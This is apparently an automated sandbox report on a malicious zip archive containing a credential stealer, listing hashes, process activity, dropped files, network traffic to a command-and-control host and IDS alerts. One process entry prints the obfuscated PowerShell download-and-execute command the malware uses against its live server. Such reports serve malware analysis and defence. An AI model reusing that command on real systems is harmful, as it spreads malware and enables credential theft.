| File name: | 30032020-master.zip |
| Full analysis: | https://app.any.run/tasks/7eeed7f8-34be-4a4f-9df7-603d2d8c901f |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | March 31, 2020, 02:21:21 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v1.0 to extract |
| MD5: | 5F61C074AFCA4474E8E730CE54AE4A53 |
| SHA1: | 4034172F262922FBB60457CFA09E43B10E21A46A |
| SHA256: | 819E308CAFFB26D16FBF7A10372EE5B9EBF7748799918DC3E0B125E52F8106C0 |
| SSDEEP: | 1536:qmWlmcNQnkIbVnpm843iG4BKjofbLGIooyOqnDZa:qdANbVo8IiPfGRdOqDZa |
MALICIOUS
Application was dropped or rewritten from another process
- x.exe (PID: 3348)
- x.exe (PID: 3312)
- x.exe (PID: 3328)
- _aqdnxu4_.exe (PID: 3896)
Executes PowerShell scripts
- cmd.exe (PID: 3708)
Loads dropped or rewritten executable
- SearchProtocolHost.exe (PID: 3548)
- _aqdnxu4_.exe (PID: 3896)
Writes to a start menu file
- powershell.exe (PID: 3096)
Loads the Task Scheduler COM API
- powershell.exe (PID: 3096)
- schtasks.exe (PID: 2116)
Connects to CnC server
- powershell.exe (PID: 3096)
- _aqdnxu4_.exe (PID: 3896)
Stealing of credential data
- _aqdnxu4_.exe (PID: 3896)
SUSPICIOUS
Executable content was dropped or overwritten
- WinRAR.exe (PID: 3776)
- powershell.exe (PID: 3096)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3708)
Creates files in the user directory
- powershell.exe (PID: 3096)
- OUTLOOK.EXE (PID: 3892)
Executed via COM
- OUTLOOK.EXE (PID: 4048)
- explorer.exe (PID: 3796)
Drop AutoIt3 executable file
- powershell.exe (PID: 3096)
Executed via Task Scheduler
- schtasks.exe (PID: 2116)
- explorer.exe (PID: 256)
Reads Environment values
- _aqdnxu4_.exe (PID: 3896)
INFO
Manual execution by user
- WinRAR.exe (PID: 3776)
- cmd.exe (PID: 3708)
- x.exe (PID: 3348)
- x.exe (PID: 3328)
- OUTLOOK.EXE (PID: 3892)
Reads settings of System Certificates
- powershell.exe (PID: 3096)
Reads Internet Cache Settings
- OUTLOOK.EXE (PID: 4048)
- OUTLOOK.EXE (PID: 3892)
Reads internet explorer settings
- OUTLOOK.EXE (PID: 3892)
Reads Microsoft Office registry keys
- OUTLOOK.EXE (PID: 4048)
- OUTLOOK.EXE (PID: 3892)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 10 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2020:03:30 09:50:24 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | 30032020-master/ |
Total processes
59
Monitored processes
15
Malicious processes
5
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 256 | C:\Windows\explorer.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_aqdnxu4_.lnk | C:\Windows\explorer.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2116 | schtasks.exe /Delete /TN _aqdnxu4_ /F | C:\Windows\system32\schtasks.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2896 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\30032020-master.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3096 | WindowsPowerShell\v1.0\powershell.exe -nop -win 1 - | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3312 | "C:\Users\admin\AppData\Local\Temp\Rar$EXa3776.18890\30032020-master\x.exe" | C:\Users\admin\AppData\Local\Temp\Rar$EXa3776.18890\30032020-master\x.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Installer Exit code: 2147942402 Version: 1.3.35.441 Modules
| |||||||||||||||
| 3328 | "C:\Users\admin\Desktop\x.exe" | C:\Users\admin\Desktop\x.exe | — | explorer.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Installer Exit code: 2147942402 Version: 1.3.35.441 Modules
| |||||||||||||||
| 3348 | "C:\Users\admin\Desktop\x.exe" | C:\Users\admin\Desktop\x.exe | — | explorer.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Installer Exit code: 2147942402 Version: 1.3.35.441 Modules
| |||||||||||||||
| 3376 | C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://jkue.myftp.biz/mx/H1K7R4Y9I5E9b3cnShl/kk/H1K7R4Y9I5E9b3cnShl')"); " | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3548 | "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe4_ Global\UsGthrCtrlFltPipeMssGthrPipe4 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" | C:\Windows\System32\SearchProtocolHost.exe | — | SearchIndexer.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft Windows Search Protocol Host Exit code: 0 Version: 7.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3708 | cmd /c ""C:\Users\admin\Desktop\3003-comprobantedigital.cmd" " | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
4 615
Read events
3 743
Write events
824
Delete events
48
Modification events
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\30032020-master.zip | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2896) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\acppage.dll,-6003 |
Value: Windows Command Script | |||
| (PID) Process: | (3776) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
Executable files
5
Suspicious files
9
Text files
60
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3776 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa3776.18620\30032020-master\3003-comprobantedigital.cmd | — | |
MD5:— | SHA256:— | |||
| 3776 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa3776.20321\30032020-master\x.exe | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4E0EFL7C0BANSASWQ64B.temp | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\Public\_aqdnxu4_\12.dll | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\users\public\_aqdnxu4_\_aqdnxu4_.LNS | — | |
MD5:— | SHA256:— | |||
| 4048 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVREFF1.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\users\public\_aqdnxu4_\_aqdnxu4_.zip | compressed | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa7c2c7.TMP | binary | |
MD5:— | SHA256:— | |||
| 3776 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$EXa3776.18890\30032020-master\3003-comprobantedigital.cmd | text | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
9
DNS requests
5
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4048 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
3096 | powershell.exe | GET | 200 | 89.36.213.180:80 | http://jkue.myftp.biz/mx/H1K7R4Y9I5E9b3cnShlMD/kk/md.zip | FR | compressed | 12.2 Mb | malicious |
3096 | powershell.exe | GET | 200 | 89.36.213.180:80 | http://jkue.myftp.biz/mx/H1K7R4Y9I5E9b3cnShl/kk/H1K7R4Y9I5E9b3cnShl | FR | text | 15.3 Kb | malicious |
3892 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
3096 | powershell.exe | POST | 200 | 89.36.213.180:80 | http://jkue.myftp.biz/mx/H1K7R4Y9I5E9b3cnShl/kk/index.php | FR | text | 6 b | malicious |
3096 | powershell.exe | POST | 200 | 89.36.213.180:80 | http://jkue.myftp.biz/mx/lists/kk/index.php?list | FR | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3096 | powershell.exe | 89.36.213.180:80 | jkue.myftp.biz | Aruba SAS | FR | malicious |
4048 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3892 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3896 | _aqdnxu4_.exe | 89.36.213.180:443 | jkue.myftp.biz | Aruba SAS | FR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
jkue.myftp.biz |
| malicious |
config.messenger.msn.com |
| whitelisted |
newlife2020.club |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1052 | svchost.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS Query to a Suspicious *.myftp.biz Domain |
1052 | svchost.exe | Potentially Bad Traffic | ET INFO Observed DNS Query to .biz TLD |
3096 | powershell.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS HTTP Request to a *.myftp.biz Domain |
3096 | powershell.exe | A Network Trojan was detected | MALWARE [PTsecurity] PowerShell/Agent.HG |
3096 | powershell.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS HTTP Request to a *.myftp.biz Domain |
3096 | powershell.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS HTTP Request to a *.myftp.biz Domain |
3096 | powershell.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS HTTP Request to a *.myftp.biz Domain |
3896 | _aqdnxu4_.exe | Potentially Bad Traffic | ET INFO TLS Handshake Failure |
3 ETPRO signatures available at the full report